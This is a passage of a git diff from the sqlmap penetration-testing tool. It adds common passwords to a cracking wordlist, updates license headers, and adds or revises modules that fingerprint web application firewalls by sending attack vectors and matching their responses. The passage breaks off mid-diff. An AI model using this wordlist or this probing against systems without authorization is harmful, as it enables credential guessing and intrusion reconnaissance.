wfadmin wh whale1 @@ -3441,8 +4153,10 @@ whitney whocares whoville wibble +wiesenhof wilbur wildcat +wildcats will william william1 @@ -3456,6 +4170,7 @@ wilson win95 wind window +windows Windows windsurf winner @@ -3479,22 +4194,29 @@ wob wolf wolf1 wolfgang +wolfpack +wolverin wolverine Wolverine wolves wombat wombat1 +women wonder wood Woodrow woody woofwoof word +work123 world World +worship wps wrangler wright +writer +writing wsh wsm www @@ -3505,8 +4227,10 @@ xanth xavier xcountry xdp -x-files xfiles +x-files +ximena +ximenita xla x-men xnc @@ -3519,6 +4243,7 @@ xtr xxx xxx123 xxxx +xxxxx xxxxxx xxxxxxxx xyz @@ -3527,21 +4252,28 @@ y yamaha yankee yankees +yankees1 yellow yes +yeshua +yfnfif yoda yogibear yolanda yomama +yoteamo young your_pass +ysrmma yukon yvette yvonne zachary zack zapata +zapato zaphod +zaq12wsx zebra zebras zenith @@ -3552,6 +4284,7 @@ zeus zhongguo ziggy zigzag +zirtaeb zoltan zombie zoomer @@ -3559,9 +4292,14 @@ zorro zwerg zxc zxc123 +zxccxz zxcvb Zxcvb zxcvbn zxcvbnm Zxcvbnm +zxcxz +zxczxc zzz +zzzzz +zzzzzz diff --git a/txt/user-agents.txt b/txt/user-agents.txt index cb32978fc85..602e9d3c3d1 100644 --- a/txt/user-agents.txt +++ b/txt/user-agents.txt @@ -1,5 +1,5 @@ -# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -# See the file 'doc/COPYING' for copying permission +# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +# See the file 'LICENSE' for copying permission # Opera diff --git a/txt/wordlist.zip b/txt/wordlist.zip index 9b018630f4f..605a9c0eb2f 100644 Binary files a/txt/wordlist.zip and b/txt/wordlist.zip differ diff --git a/waf/360.py b/waf/360.py index 4b064a91dcc..07b01603a9b 100644 --- a/waf/360.py +++ b/waf/360.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/__init__.py b/waf/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/waf/__init__.py +++ b/waf/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/waf/airlock.py b/waf/airlock.py index 2d81dd75ec0..9dc6078ffc0 100644 --- a/waf/airlock.py +++ b/waf/airlock.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/anquanbao.py b/waf/anquanbao.py index 4abb88077c0..4aacfab521a 100644 --- a/waf/anquanbao.py +++ b/waf/anquanbao.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/armor.py b/waf/armor.py index 564b3a37ccc..1ca7fc542e8 100644 --- a/waf/armor.py +++ b/waf/armor.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.settings import WAF_ATTACK_VECTORS diff --git a/waf/asm.py b/waf/asm.py new file mode 100644 index 00000000000..330579ad50b --- /dev/null +++ b/waf/asm.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Application Security Manager (F5 Networks)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = "The requested URL was rejected. Please consult with your administrator." in (page or "") + if retval: + break + + return retval diff --git a/waf/aws.py b/waf/aws.py index 00d89f4d2fa..aa561629964 100644 --- a/waf/aws.py +++ b/waf/aws.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/baidu.py b/waf/baidu.py index 2f2aa00a5c5..b9dbcd89436 100644 --- a/waf/baidu.py +++ b/waf/baidu.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/barracuda.py b/waf/barracuda.py index 56da1c8032c..daad0577175 100644 --- a/waf/barracuda.py +++ b/waf/barracuda.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/bigip.py b/waf/bigip.py index dde3931bb06..82a39a7978c 100644 --- a/waf/bigip.py +++ b/waf/bigip.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -16,12 +16,14 @@ def detect(get_page): retval = False for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) + _, headers, code = get_page(get=vector) retval = headers.get("X-Cnection", "").lower() == "close" - retval |= re.search(r"\ATS[a-zA-Z0-9]{4,}=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None + retval |= headers.get("X-WA-Info") is not None + retval |= re.search(r"\ATS\w{4,}=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None retval |= re.search(r"BigIP|BIGipServer", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None retval |= re.search(r"BigIP|BIGipServer", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= re.search(r"\AF5\Z", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval &= code >= 400 if retval: break diff --git a/waf/binarysec.py b/waf/binarysec.py index 82ae62af4d5..dd98a527088 100644 --- a/waf/binarysec.py +++ b/waf/binarysec.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/blockdos.py b/waf/blockdos.py index 09009323a78..af2ea4c8f5f 100644 --- a/waf/blockdos.py +++ b/waf/blockdos.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/ciscoacexml.py b/waf/ciscoacexml.py index 62ae05a57a1..277a27f4e11 100644 --- a/waf/ciscoacexml.py +++ b/waf/ciscoacexml.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/cloudflare.py b/waf/cloudflare.py index 217a5c650b3..5712f0957f7 100644 --- a/waf/cloudflare.py +++ b/waf/cloudflare.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/cloudfront.py b/waf/cloudfront.py index 1ecf63d2d68..5969befe411 100644 --- a/waf/cloudfront.py +++ b/waf/cloudfront.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/comodo.py b/waf/comodo.py index 662ba0938fe..f37902f85d3 100644 --- a/waf/comodo.py +++ b/waf/comodo.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/datapower.py b/waf/datapower.py index 4706dd39dbb..3e292c2cd93 100644 --- a/waf/datapower.py +++ b/waf/datapower.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/denyall.py b/waf/denyall.py index f1350533e22..807136f2688 100644 --- a/waf/denyall.py +++ b/waf/denyall.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/dosarrest.py b/waf/dosarrest.py new file mode 100644 index 00000000000..42b14a3721a --- /dev/null +++ b/waf/dosarrest.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "DOSarrest (DOSarrest Internet Security)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + _, headers, _ = get_page(get=vector) + retval = re.search(r"DOSarrest", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= headers.get("X-DIS-Request-ID") is not None + if retval: + break + + return retval diff --git a/waf/dotdefender.py b/waf/dotdefender.py index 7fee566b94a..b7713e21c63 100644 --- a/waf/dotdefender.py +++ b/waf/dotdefender.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.settings import WAF_ATTACK_VECTORS diff --git a/waf/edgecast.py b/waf/edgecast.py index ba57329c5aa..92db2f789c6 100644 --- a/waf/edgecast.py +++ b/waf/edgecast.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/expressionengine.py b/waf/expressionengine.py index a69c0eb032f..33edcd11ecf 100644 --- a/waf/expressionengine.py +++ b/waf/expressionengine.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.settings import WAF_ATTACK_VECTORS diff --git a/waf/fortiweb.py b/waf/fortiweb.py index 17f33a22e5a..0305df73307 100644 --- a/waf/fortiweb.py +++ b/waf/fortiweb.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -10,14 +10,15 @@ from lib.core.enums import HTTP_HEADER from lib.core.settings import WAF_ATTACK_VECTORS -__product__ = "FortiWeb Web Application Firewall (Fortinet Inc.)" +__product__ = "FortiWeb Web Application Firewall (Fortinet)" def detect(get_page): retval = False for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) + page, headers, _ = get_page(get=vector) retval = re.search(r"\AFORTIWAFSID=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None + retval |= all(_ in (page or "") for _ in (".fgd_icon", ".blocked", ".authenticate")) if retval: break diff --git a/waf/generic.py b/waf/generic.py index 26c3ec2b3fb..4db58805828 100644 --- a/waf/generic.py +++ b/waf/generic.py @@ -1,10 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ +import re + +from lib.core.data import kb +from lib.core.settings import GENERIC_PROTECTION_REGEX from lib.core.settings import IDS_WAF_CHECK_PAYLOAD from lib.core.settings import WAF_ATTACK_VECTORS @@ -13,14 +17,17 @@ def detect(get_page): retval = False - page, _, code = get_page() - if page is None or code >= 400: + original, _, code = get_page() + if original is None or code >= 400: return False for vector in WAF_ATTACK_VECTORS: - page, _, code = get_page(get=vector) + page, headers, code = get_page(get=vector) + + if code >= 400 or (IDS_WAF_CHECK_PAYLOAD in vector and (code is None or re.search(GENERIC_PROTECTION_REGEX, page or "") and not re.search(GENERIC_PROTECTION_REGEX, original or ""))): + if code is not None: + kb.wafSpecificResponse = "HTTP/1.1 %s\n%s\n%s" % (code, "".join(_ for _ in headers.headers or [] if not _.startswith("URI")), page) - if code >= 400 or IDS_WAF_CHECK_PAYLOAD in vector and code is None: retval = True break diff --git a/waf/hyperguard.py b/waf/hyperguard.py index 9450412b778..78aa1c7a98a 100644 --- a/waf/hyperguard.py +++ b/waf/hyperguard.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -10,7 +10,7 @@ from lib.core.enums import HTTP_HEADER from lib.core.settings import WAF_ATTACK_VECTORS -__product__ = "Hyperguard Web Application Firewall (art of defence Inc.)" +__product__ = "Hyperguard Web Application Firewall (art of defence)" def detect(get_page): retval = False diff --git a/waf/incapsula.py b/waf/incapsula.py index e4ed961071c..f2bc0b5de7b 100644 --- a/waf/incapsula.py +++ b/waf/incapsula.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/isaserver.py b/waf/isaserver.py index 559d4c6d262..df83c6ff099 100644 --- a/waf/isaserver.py +++ b/waf/isaserver.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.common import randomInt diff --git a/waf/jiasule.py b/waf/jiasule.py index 9d5c39719b5..20aff285cd7 100644 --- a/waf/jiasule.py +++ b/waf/jiasule.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/knownsec.py b/waf/knownsec.py index 69f0eee37ff..3372a6b2218 100644 --- a/waf/knownsec.py +++ b/waf/knownsec.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/kona.py b/waf/kona.py index bddd9154d35..47824f0198d 100644 --- a/waf/kona.py +++ b/waf/kona.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = code in (400, 403, 501) and re.search(r"Reference #[0-9A-Fa-f.]+", page or "", re.I) is not None + retval = code in (400, 403, 501) and re.search(r"Reference #[0-9a-f.]+", page or "", re.I) is not None retval |= re.search(r"AkamaiGHost", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None if retval: break diff --git a/waf/modsecurity.py b/waf/modsecurity.py index a5583d030e2..d6d0ecbef81 100644 --- a/waf/modsecurity.py +++ b/waf/modsecurity.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/naxsi.py b/waf/naxsi.py new file mode 100644 index 00000000000..7fb42a11858 --- /dev/null +++ b/waf/naxsi.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "NAXSI (NBS System)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + _, headers, _ = get_page(get=vector) + retval = re.search(r"naxsi/waf", headers.get(HTTP_HEADER.X_DATA_ORIGIN, ""), re.I) is not None + if retval: + break + + return retval diff --git a/waf/netcontinuum.py b/waf/netcontinuum.py index 5123f0523ba..f899a2eeb73 100644 --- a/waf/netcontinuum.py +++ b/waf/netcontinuum.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/netscaler.py b/waf/netscaler.py index 1a00f58b19c..52e6bc0490f 100644 --- a/waf/netscaler.py +++ b/waf/netscaler.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/newdefend.py b/waf/newdefend.py index 3c23a08f46a..9153e8f1999 100644 --- a/waf/newdefend.py +++ b/waf/newdefend.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/nsfocus.py b/waf/nsfocus.py index 788e853756f..758ba293bad 100644 --- a/waf/nsfocus.py +++ b/waf/nsfocus.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/paloalto.py b/waf/paloalto.py index a7aaff0e7c8..095006fbed9 100644 --- a/waf/paloalto.py +++ b/waf/paloalto.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -16,7 +16,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = re.search(r"Access[^<]+has been blocked in accordance with company policy", page or "", re.I) is not None + retval = re.search(r"has been blocked in accordance with company policy", page or "", re.I) is not None if retval: break diff --git a/waf/profense.py b/waf/profense.py index 0a8164370ff..fef24231b82 100644 --- a/waf/profense.py +++ b/waf/profense.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/proventia.py b/waf/proventia.py index 866df07ddbd..d59f23b5713 100644 --- a/waf/proventia.py +++ b/waf/proventia.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ __product__ = "Proventia Web Application Security (IBM)" diff --git a/waf/radware.py b/waf/radware.py index 666eaf9a3f2..42642136dc0 100644 --- a/waf/radware.py +++ b/waf/radware.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/requestvalidationmode.py b/waf/requestvalidationmode.py index 960a315d0f2..5e1ce590d97 100644 --- a/waf/requestvalidationmode.py +++ b/waf/requestvalidationmode.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.settings import WAF_ATTACK_VECTORS diff --git a/waf/safe3.py b/waf/safe3.py index 8e2afcdf803..2aa46809952 100644 --- a/waf/safe3.py +++ b/waf/safe3.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/safedog.py b/waf/safedog.py index 61634eca041..aabbabcbe43 100644 --- a/waf/safedog.py +++ b/waf/safedog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/secureiis.py b/waf/secureiis.py index f3c531b6bab..be22a0a58de 100644 --- a/waf/secureiis.py +++ b/waf/secureiis.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/senginx.py b/waf/senginx.py index c30f6935dbc..80c5cf0a52f 100644 --- a/waf/senginx.py +++ b/waf/senginx.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.settings import WAF_ATTACK_VECTORS diff --git a/waf/sitelock.py b/waf/sitelock.py index b847ddcb4da..e17b67c620e 100644 --- a/waf/sitelock.py +++ b/waf/sitelock.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.settings import WAF_ATTACK_VECTORS @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = "SiteLock Incident ID" in (page or "") + retval |= any(_ in (page or "") for _ in ("SiteLock Incident ID", "sitelock-site-verification", "sitelock_shield_logo")) if retval: break diff --git a/waf/sonicwall.py b/waf/sonicwall.py index 5ada6297e94..f87d9c40c6f 100644 --- a/waf/sonicwall.py +++ b/waf/sonicwall.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -18,6 +18,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) retval = "This request is blocked by the SonicWALL" in (page or "") + retval |= all(_ in (page or "") for _ in ("#shd", "#nsa_banner")) retval |= re.search(r"Web Site Blocked.+\bnsa_banner", page or "", re.I) is not None retval |= re.search(r"SonicWALL", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None if retval: diff --git a/waf/sophos.py b/waf/sophos.py index ac3dd8dcfaa..ea7e83658e3 100644 --- a/waf/sophos.py +++ b/waf/sophos.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.settings import WAF_ATTACK_VECTORS diff --git a/waf/stingray.py b/waf/stingray.py index 9f1cf2c8802..896ba765e47 100644 --- a/waf/stingray.py +++ b/waf/stingray.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/sucuri.py b/waf/sucuri.py index c0feb46fd6a..7b1eb4cc8b7 100644 --- a/waf/sucuri.py +++ b/waf/sucuri.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -18,6 +18,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) retval = code == 403 and re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= "Access Denied - Sucuri Website Firewall" in (page or "") retval |= "Sucuri WebSite Firewall - CloudProxy - Access Denied" in (page or "") retval |= re.search(r"Questions\?.+cloudproxy@sucuri\.net", (page or "")) is not None if retval: diff --git a/waf/tencent.py b/waf/tencent.py new file mode 100644 index 00000000000..fd8a7ba079f --- /dev/null +++ b/waf/tencent.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Tencent Cloud Web Application Firewall (Tencent Cloud Computing)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, code = get_page(get=vector) + retval = code == 405 and "waf.tencent-cloud.com" in (page or "") + if retval: + break + + return retval diff --git a/waf/teros.py b/waf/teros.py index e84ab5f8de1..2516454709e 100644 --- a/waf/teros.py +++ b/waf/teros.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/trafficshield.py b/waf/trafficshield.py index dc7c075436d..9a67c36d9e4 100644 --- a/waf/trafficshield.py +++ b/waf/trafficshield.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/waf/urlscan.py b/waf/urlscan.py index 